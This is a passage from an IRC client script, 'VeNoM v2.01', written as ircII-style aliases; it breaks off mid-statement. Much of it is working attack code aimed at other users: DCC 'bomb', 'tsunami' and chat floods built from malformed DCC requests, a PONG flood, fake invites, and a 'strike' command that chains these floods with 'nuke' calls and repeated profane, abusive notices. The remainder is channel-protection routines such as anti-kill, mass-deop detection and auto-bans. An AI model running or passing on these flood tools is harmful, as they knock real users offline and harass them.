- EVAL //nick $OLDNICK
- ^assign -OLDNICK
- }
- alias dccbomb {
- quote PRIVMSG $0 :DCC SEND doom3-1.zip $rand(99999999) 19 6667
- quote PRIVMSG $0 :DCC SEND doom3-2.zip $rand(99999999) 19 6667
- quote PRIVMSG $0 :DCC SEND doom3-3.zip $rand(99999999) 19 6667
- quote PRIVMSG $0 :DCC SEND doom3-4.zip $rand(99999999) 19 6667
- quote PRIVMSG $0 :DCC SEND doom3-5.zip $rand(99999999) 19 6667
- quote PRIVMSG $0 :DCC SEND doom3-6.zip $rand(99999999) 19 6667
- quote PRIVMSG $0 :DCC SEND doom3-7.zip $rand(99999999) 19 6667
- quote PRIVMSG $0 :DCC SEND doom3-8.zip $rand(99999999) 19 6667
- quote PRIVMSG $0 :DCC SEND doom3-9.zip $rand(99999999) 19 6667
- quote PRIVMSG $0 :DCC SEND doom3-10.zip $rand(99999999) 19 6667
- quote PRIVMSG $0 :DCC SEND doom3-11.zip $rand(99999999) 19 6667
- quote PRIVMSG $0 :DCC SEND doom3-12.zip $rand(99999999) 19 6667
- quote PRIVMSG $0 :DCC SEND doom3-13.zip $rand(99999999) 19 6667
- vecho <DCC AUTOGET-BOMB sent to $0>
- }
-
- alias dccflood {
- EVAL quote PRIVMSG $0 :DCC CHAT $rand(9999) $rand(99) $rand(99)DCC CHAT $rand(9999) $rand(99) $rand(99)DCC CHAT $rand(9999) $rand(99) $rand(99)DCC CHAT $rand(9999) $rand(99) $rand(99)DCC CHAT $rand(9999) $rand(99) $rand(99)DCC CHAT $rand(9999
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- ) $rand(99) $rand(99)DCC CHAT $rand(9999) $rand(99) $rand(99)
- EVAL quote PRIVMSG $0 :DCC CHAT $rand(9999) $rand(99) $rand(99)DCC CHAT $rand(9999) $rand(99) $rand(99)DCC CHAT $rand(9999) $rand(99) $rand(99)DCC CHAT $rand(9999) $rand(99) $rand(99)DCC CHAT $rand(9999) $rand(99) $rand(99)DCC CHAT $rand(9999
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- ) $rand(99) $rand(99)DCC CHAT $rand(9999) $rand(99) $rand(99)
- EVAL quote PRIVMSG $0 :DCC CHAT $rand(9999) $rand(99) $rand(99)DCC CHAT $rand(9999) $rand(99) $rand(99)DCC CHAT $rand(9999) $rand(99) $rand(99)DCC CHAT $rand(9999) $rand(99) $rand(99)DCC CHAT $rand(9999) $rand(99) $rand(99)DCC CHAT $rand(9999
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- ) $rand(99) $rand(99)DCC CHAT $rand(9999) $rand(99) $rand(99)
- EVAL quote PRIVMSG $0 :DCC CHAT $rand(9999) $rand(99) $rand(99)DCC CHAT $rand(9999) $rand(99) $rand(99)DCC CHAT $rand(9999) $rand(99) $rand(99)DCC CHAT $rand(9999) $rand(99) $rand(99)DCC CHAT $rand(9999) $rand(99) $rand(99)DCC CHAT $rand(9999
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- ) $rand(99) $rand(99)DCC CHAT $rand(9999) $rand(99) $rand(99)
- EVAL quote PRIVMSG $0 :DCC CHAT $rand(9999) $rand(99) $rand(99)DCC CHAT $rand(9999) $rand(99) $rand(99)DCC CHAT $rand(9999) $rand(99) $rand(99)DCC CHAT $rand(9999) $rand(99) $rand(99)DCC CHAT $rand(9999) $rand(99) $rand(99)DCC CHAT $rand(9999
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- ) $rand(99) $rand(99)DCC CHAT $rand(9999) $rand(99) $rand(99)
- vecho <DCC CHAT flood sent to $0>
- }
-
- alias dcctsunami {
- quote PRIVMSG $0 :DCC SEND $TSU$rand(9) $rand(9) $rand(9)
- quote PRIVMSG $0 :DCC SEND $TSU$rand(9) $rand(9) $rand(9)
- quote PRIVMSG $0 :DCC SEND $TSU$rand(9) $rand(9) $rand(9)
- quote PRIVMSG $0 :DCC SEND $TSU$rand(9) $rand(9) $rand(9)
- vecho <DCC TSUNAMI sent to $0>
- }
-
- alias pongflood {
- repeatcmd 4 EVAL /quote PONG $TSU :$0
- vecho <PONG FLOOD sent to $0>
- }
-
- alias fakeinvite {
- if ([$1]) {
- ^assign INVITESTR $strip(# $1)
- ^assign INVITESTR \#${INVITESTR}
- quote INVITE $0 $INVITESTR
- ^assign -INVITESTR
- vecho <FAKE-INVITED $0 to channel $1>
- }
- {vecho /FAKEINVITE <nick> <channel>}
- }
-
- set input_prompt VeNoM v2.01 is loading. [o....]
- alias strike {
- vecho Loading VeNoM's +STRIKE+ feature...
- vecho NOTE - This is VERY nasty... So, due to the nature of this command,
- vecho you may be flooded off your server. If this happens, simply change
- vecho servers.
- vecho <INITIATING +STRIKE+ on $0> They may as well kiss their ass
- vecho goodbye.
- vecho This should take about 20 seconds.
- nnotice $0 <THIS MEANS WAR!>
- nnotice $0 <Now kiss your ass goodbye, motherfucker...>
- flash $0
- flash $0
- flash $0
- flash $0
- dccbomb $0
- nnotice $0 THIS IS FUN! NOW FUCK YOU!
- nnotice $0 THIS IS FUN! NOW FUCK YOU!
- nnotice $0 THIS IS FUN! NOW FUCK YOU!
- nnotice $0 THIS IS FUN! NOW FUCK YOU!
- nnotice $0 THIS IS FUN! NOW FUCK YOU!
- nnotice $0 THIS IS FUN! NOW FUCK YOU!
- nnotice $0 THIS IS FUN! NOW FUCK YOU!
- nnotice $0 THIS IS FUN! NOW FUCK YOU!
- nnotice $0 THIS IS FUN! NOW FUCK YOU!
- nnotice $0 THIS IS FUN! NOW FUCK YOU!
- nnotice $0 THIS IS FUN! NOW FUCK YOU!
- nnotice $0 THIS IS FUN! NOW FUCK YOU!
- nnotice $0 THIS IS FUN! NOW FUCK YOU!
- nnotice $0 OK! I'M DONE!
- flash $0
- flash $0
- flash $0
- flash $0
- nnotice $0 I LIED, MOFUCK! NOW YOU DIE!
- nuke $0
- nuke $0
- }
-
- ### The command that makes all the difference :)
-
- alias beware {
- me is in command of <-Dethnite's VeNoM v2.01!-> Beware the serpent...
- }
-
- # Advanced Kill Protection Routines
-
- alias antikill {
- if (set.akll!=[Y]) {
- @ set.toak= set.akll= [Y]
- vecho Anti-Kill has been auto-engaged.
- ^on ^raw "% 433 *" {
- if ((N!=var.dnck) && (var.dnck!=[NONE])) {
- //nick $var.dnck
- vecho Nick already in use, using default.
- }{
- //nick $left(5 $N)$rand(9999)
- vecho Nick already in use, using random nick.
- }
- ^on -window "% ??? You have been rej*" if ([$1]==[***]) {/DoChangeNick}
- ^on -window "% ??? % Nickname Col% KILL*" if ([$1]==[***]) {/DoChangeNick}
- ^on -raw_irc "%.% QUIT :*Killed* %.%*%.%*" {
- incKill
- if ((cnt.kll>=max.kll) && (var.stopchg!=[Y])) {
- @ var.stopchg= [Y]
- @ cnt.kll= 0
- timer 10 ^assign -var.stopchg
- ChangeNick
- vecho Max Kills reached. Changing nick...
- }}}}{
- @ set.toak= set.akll= [N]
- vecho Anti-Kill has now been disengaged.
- ^on raw_irc -"%.% QUIT :*Killed* %.%*%.%*"
- ^on raw_irc -"% 433 *"
- ^on window -"% ??? You have been rej*"
- ^on window -"% ??? % Nickname col% KILL*"
- }}
-
- alias DoChangeNick {
- if (var.changing!=[Y]) {
- @ var.changing= [Y]
- ChangeNick
- ^timer -delete 954
- timer -refnum 954 5 ^assign -var.changing
- }}
-
- alias incKill {
- @ killcount = killcount + 1
- timer 16 if (cnt.kll>0) {@ cnt.kll= cnt.kll-1}
- }
-
- alias ChangeNick {
- if (var.nick!=[<NONE>]) {//NICK $var.dnck} {//NICK $left(5 $N)$rand(9999)}
- }
-
- alias defnick {
- if ([$0]) {@ var.dnck= [$0]}
- vecho Default nick is now $var.dnck\.
- }
-
- alias maxkills {
- if ([$0]) {@ max.kll= [$0]}
- vecho Max-Kill limit is now $max.kll\.
- }
-
- EVAL $srand($time())
- EVAL antikill
-
-
- ### Server Message Redefinition
-
- on ^002 "*" #
- on ^305 "*" #
- on ^306 "*" #
- on ^443 "*" #
- on ^333 "*" echo *** Topic for $1 set by $2 on $mid(4 15 $stime($3))
- on ^404 "*" check_synch $0-
- on ^482 "*" check_synch $0-
- on ^301 "*" if ([$0]!=[$N]) {/echo *** Away : $0 is away: $1-}
- on ^311 "*" {
- echo *** Whois Information for: $1
- echo *** Address : $2@$3
- echo *** IRCNAME : $5-
- }
- on ^312 "*" echo *** Server : $1 \($2-\)
- on ^313 "*" echo *** IRC OP : $1 has operator status.
- on ^314 "*" {
- echo *** Whowas information for: $1
- echo *** Address : $2@$3
- echo *** IRCNAME : $5-
- }
- on ^319 "*" echo *** On Channels : $1-
- on ^317 "*" {
- if (index(012345679 $3) != -1) {
- ^assign -sectime
- ^assign -mintime
- ^assign sectime $2
- @ mintime = sectime / 60
- echo *** Idle Time : $mintime minute\(s\) \($2 seconds\)
- echo *** Signed on : $stime($3)
- }{
- ^assign -sectime
- ^assign -mintime
- ^assign sectime $2
- @ mintime = sectime / 60
- echo *** Idle Time : $mintime minute\(s\) \($2 seconds\)
- }}
-
- alias check_synch {
- if ([$0]!=[$desynch]) {
- if ([$0]!=[$S]) {
- vecho $0 is desynched from IRC.
- ^assign desynch $0
- tref 500 60 ^assign -desynch
- }{/echo *** $1-}}}
-
- ### MODE and KICK Protection
-
- alias mdact {
- if ((isop($N $1))&&([$mdwait]!=[$0])&&([$decode($0)]!=[$N])) {
- mmode $1 -o $decode($0)
- vecho <MEGA-DEOP DETECTED> By: $decode($0) On: $1
- ^assign mdwait $0
- tref 501 8 ^assign -mdwait
- }
- @ mcount = 0
- }
-
- alias rv {
- //msg $0 $lastv
- }
-
- alias kact {
- if ((isop($N $1))&&([$kwait]!=[$0])&&([$decode($0)]!=[$N])) {
- mmode $1 -o $decode($0)
- vecho <MASS-KiCK DETECTED> By: $decode($0) On: $1
- ^assign kwait $0
- tref 502 8 ^assign -kwait
- }
- @ kcount = 0
- }
-
- alias wnoti {
- @ TMPWRD = []
- vecho Word Notification is currently $HLINGS\.
- ^assign HLTMP $"[<-V->] Turn word notification ON or OFF?: "
- if ([$HLTMP]==[ON]) {
- ^assign TMPWRD $"[<-V->] Enter Word to be notified upon: "
- if ([$TMPWRD]!=[]) {
- ^assign HLINGS ON
- ^assign hilite $TMPWRD
- }{
- vecho No notification word given.
- }}{
- if ([$HLTMP]==[OFF]) {
- ^assign HLINGS OFF
- ^assign -hilite
- }}{
- vecho Word Notification status is unchanged.
- }}
-
- alias mdtest {
- if ([$0]==[$lastmd]) {
- @ mcount = mcount + $2
- ^timer 12 submode
- if (mcount>msensor) {/mdact $0 $1}}{
- ^assign lastmd $0
- @ mcount = $2
- ^timer 12 submode
- if (mcount>msensor) {/mdact $0 $1}}}
-
- alias ktest {
- if (([$0]==[$lastmdk])&&([$0]!=[$encode($N)])) {
- @ kcount = kcount + 1
- ^timer 12 subkick
- if (kcount>ksensor) {/kact $0 $1}
- }{^assign lastmdk $0}}
-
- ### MODE & KICK Handlers
-
- on -raw_irc "% MODE *" {
- @ mdcnt = 0
- @ nixcnt = 0
- ^assign mde +
- ^assign mdech $3
- ^assign nix $4-
- @ mdchop = [$encode($left($index(! $0) $0))]
- if (([$prot]==[ON])&&(rmatch($3 -ooo* *-ooo*))) {/mdact $mdchop $2}
- while (mid($mdcnt 1 $mdech)!=[]) {
- ^assign mdecc $mid($mdcnt 1 $mdech)
- if (([$mdecc]==[-])||([$mdecc]==[+])) {^assign mde $mdecc}{
- if (match($mdecc b o k l m n s t p i)) {
- if ([$mde$mdecc]==[+b]) {
- if ((match($word($nixcnt $nix) $ownadd))&&(rmatch($0 *!*))) {/bansave $2 $mdchop $word($nixcnt $nix)}
- if ((!rmatch($0 *!*))&&(isop($N $2))&&([$nhp]==[ON])&&([$SAVEBAN]==[])) {/mmode $2 -b $word($nixcnt $nix)}
- ^assign -SAVEBAN
- }
- if ([$mde$mdecc]==[+o]) {
- if ((!rmatch($0 *!*))&&(isop($N $2))&&([$nhp]==[ON])) {/mmode $2 -o $word($nixcnt $nix)}}
- if ([$mde$mdecc]==[-o]) {/if ([$prot]==[ON]) {/mdtest $mdchop $2 1}}
- if ([$mde$mdecc]==[+k]) {
- ^assign chankey $word($nixcnt $nix)
- if ((rmatch($word($nixcnt $nix) $false_chars))&&(rmatch($0 *!*))) {
- EVAL ^set status_mode $word(0 \(+$M\))
- ^timer 10 _checkkey
- if ((isop($N $2))&&([$cprot]==[ON])) {/mmode $2 -k $word($nixcnt $nix)}
- }
- {/if ((!rmatch($0 *!*))&&(isop($N $2))&&([$NHP]==[ON])) {/mmode $2 -k $word($nixcnt $nix)}}
- }
- @ nixcnt = nixcnt + 1
- }}
- @ mdcnt = mdcnt + 1
- }}
-
- on ^mode "%.% *" vecho <SERV-OP MODE DETECTED!> In $1: \'$2-\'
-
- alias bansave {
- if (isop($N $0)) {
- mmode $0 -ob $decode($1) $2
- kkick $0 $decode($1) $uban.kickmsg
- }
- ^assign SAVEBAN YES
- vecho <BAN ON YOU DETECTED> By: $decode($1)
- }
-
- ### Kick handler
-
- on -raw_irc "% KICK *" {
- ^assign kickchan $strip(: $2)
- ^assign kickperson $encode($left($index(! $0) $0))
- if ([$prot]==[ON]) {/ktest $kickperson $kickchan}
- if (([$3]==[$N])&&([$REJOIN]==[ON])) {
- cwait //join $kickchan
- }}
-
- ### Nick Flood Protection
-
- on -channel_nick "*" {
- if ( ([$cprot]==[ON])&&([$2]!=[$N])) {
- if ([$newnick1]==[$encode($1)]) {@ nickcnt = nickcnt + 1}
- if (nickcnt==nicksensor) {
- if (isop($N $0)) {
- kkick $0 $2 $nick.floodmsg
- vecho <NiCK FLOOD DETECTED> On $0 by: $2
- }
- @ nickcnt = 0
- }
- ^assign newnick1 $encode($2)
- ^timer 30 ^assign -newnick1
- ^timer 30 @ nickcnt = 0
- }}
-
- alias wordkick {
- if ([$0]) {
- EVAL ^on -public "% % *$0-*" {/kkick $1 $0 <-WORDKiCK->}
- EVAL ^on -action "% % *$0-*" {/kkick $1 $0 <-WORDKiCK->}
- vecho WORDKiCK will be activated by anyone saying $0-\.
- }{/vecho You must specify a word.}
- }
-
- alias remwk {
- if ([$0]) {
- ^on public - "% % *$0-*"
- ^on action - "% % *$0-*"
- vecho $0 removed from the WORDKiCK list.
- }{/vecho Usage: /REMWK <word> to remove a word from your WORDKiCK list.}
- }
-
- alias wordban {
- if ([$0]) {
- EVAL ^on -public "% % *$0-*" {/bk $1 $0 <-WORDBAN->}
- EVAL ^on -action "% % *$0-*" {/bk $1 $0 <-WORDBAN->}
- vecho WORDBAN will be activated by anyone saying $0-\.
- }{/vecho You must specify a word.}
- }
-
- alias remwb {
- if ([$0]) {
- ^on public - "% % *$0-*"
- ^on action - "% % *$0-*"
- vecho $0 removed from the WORDBAN list.
- }{/vecho Usage: /REMWB <word> To remove a word from your WORDBAN list.}
- }
-
- alias mlkick {
- vecho Leech-Kicks are currently $leechkick\.
- ^assign tmplkick $"[<-V->] Turn Leech-Kick ON or OFF?: "
- if ([$tmplkick]==[ON]&&[$leechkick]==[OFF]) {
- ^assign leechkick ON
- vecho Leech-Kicks are now ON.
- }
- if ([$tmplkick]==[OFF]&&[$leechkick]==[ON]) {
- ^assign leechkick OFF
- vecho Leech-Kicks are now OFF.
- }}
-
- alias showml {
- vecho I have detected $num.mlist\ Mass XDCC LIST's this IRC Session.
- }
-
- alias pubml {
- //say [<-V->] I have detected $num.mlist\ Mass XDCC LIST's this IRC Session.
- }
-
- ### JOIN Functions
-
- alias autocheck {
- ^assign ainuse Y
- foreach ENEMIES XX {
- if ((rmatch($ENEMIES[$XX] $1))||(match($ENEMIES[$XX] $1))) {
- if ([$bkmatch]==[]) {
- if ([$COMMENTS[$XX]]!=[]) {
- mmode $0 -o+b $decode($2) $ENEMIES[$XX]
- kkick $0 $decode($2) $COMMENTS[$XX]
- }{
- mmode $0 -o+b $decode($2) $ENEMIES[$XX]
- kkick $0 $decode($2) $abkickmsg
- }
- @ bkmatch = 1
- }}}
- ^assign -bkmatch
- if (([$autoop]==[ON])&&([$chanpass($0)]==[YES])&&(rmatch($1 $OPLIST))) {^timer 3 _delayop $0 $2}
- }
-
- on -raw_irc "% JOIN *" {/if (isop($N $strip(: $2))) {/autocheck $strip(: $2) $safe($0) $encode($left($index(! $0) $0))}}
-
- on ^join "*" {^netjoined $encode($tolower($1)) $encode($0) $1 $0 $safe($Userhost())}
-
- ### Netsplit Detection
-
- alias netclean {
- foreach splittime ii {
- foreach splittime.$ii jj {
- if ( time() - splittime[$ii][$jj] > 300 ) {
- foreach signcross.$(ii).$jj xx {
- foreach signcross.$(ii).$(jj).$xx